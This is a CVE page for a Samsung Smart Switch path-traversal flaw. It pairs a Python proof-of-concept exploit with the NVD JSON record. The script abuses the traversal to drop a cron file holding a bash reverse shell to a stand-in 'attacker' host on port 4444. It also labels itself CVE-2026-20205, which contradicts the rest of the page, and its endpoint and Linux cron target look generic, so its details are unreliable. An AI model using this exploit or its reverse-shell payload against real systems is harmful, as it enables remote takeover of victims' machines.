CVE-2026-21005

""" CVE-2026-20205 - Samsung Smart Switch Path Traversal PoC Description: Path traversal in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to overwrite arbitrary files. Discovered by: [email protected] CVSS: 6.5 (Medium) """ import requests import urllib.parse TARGET_IP = "<target_device_ip>" TARGET_PORT = 8443 SMART_SWITCH_ENDPOINT = f"https://{TARGET_IP}:{TARGET_PORT}/api/transfer/file" def construct_path_traversal_payload(remote_path, filename): """ Construct a path traversal payload to overwrite arbitrary files. Args: remote_path: Target directory path to escape from filename: Malicious filename to write Returns: Path traversal encoded filename """ traversal = "../../../../" target_file = f"{remote_path}/{filename}" payload = traversal + target_file return urllib.parse.quote(payload) def exploit_path_traversal(): """ Exploit CVE-2026-21005 by sending a crafted file transfer request with path traversal characters to overwrite arbitrary files. """ headers = { "User-Agent": "SmartSwitch/3.7.69.14", "Content-Type": "application/octet-stream", "X-Transfer-Type": "file-upload" } # Payload to overwrite cron job file (example target) malicious_filename = construct_path_traversal_payload( "etc/cron.d", "malicious_script" ) # Malicious content to execute malicious_content = b"#!/bin/bash\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n" # Construct exploit request exploit_data = { "filename": malicious_filename, "data": malicious_content } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Sending path traversal payload: {malicious_filename}") try: response = requests.post( SMART_SWITCH_ENDPOINT, json=exploit_data, headers=headers, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("=" * 50) print("CVE-2026-21005 Path Traversal Exploit") print("Samsung Smart Switch < 3.7.69.15") print("=" * 50) exploit_path_traversal()

{"cve": {"id": "CVE-2026-21005", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:11.640", "lastModified": "2026-03-31T00:30:23.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to overwrite arbitrary files with Smart Switch privilege."}, {"lang": "es", "value": "Salto de ruta en Smart Switch anterior a la versión 3.7.69.15 permite a atacantes adyacentes sobrescribir archivos arbitrarios con privilegios de Smart Switch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.69.15", "matchCriteriaId": "37A46437-F1AB-40DC-B7FC-77D3CE8047EE"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}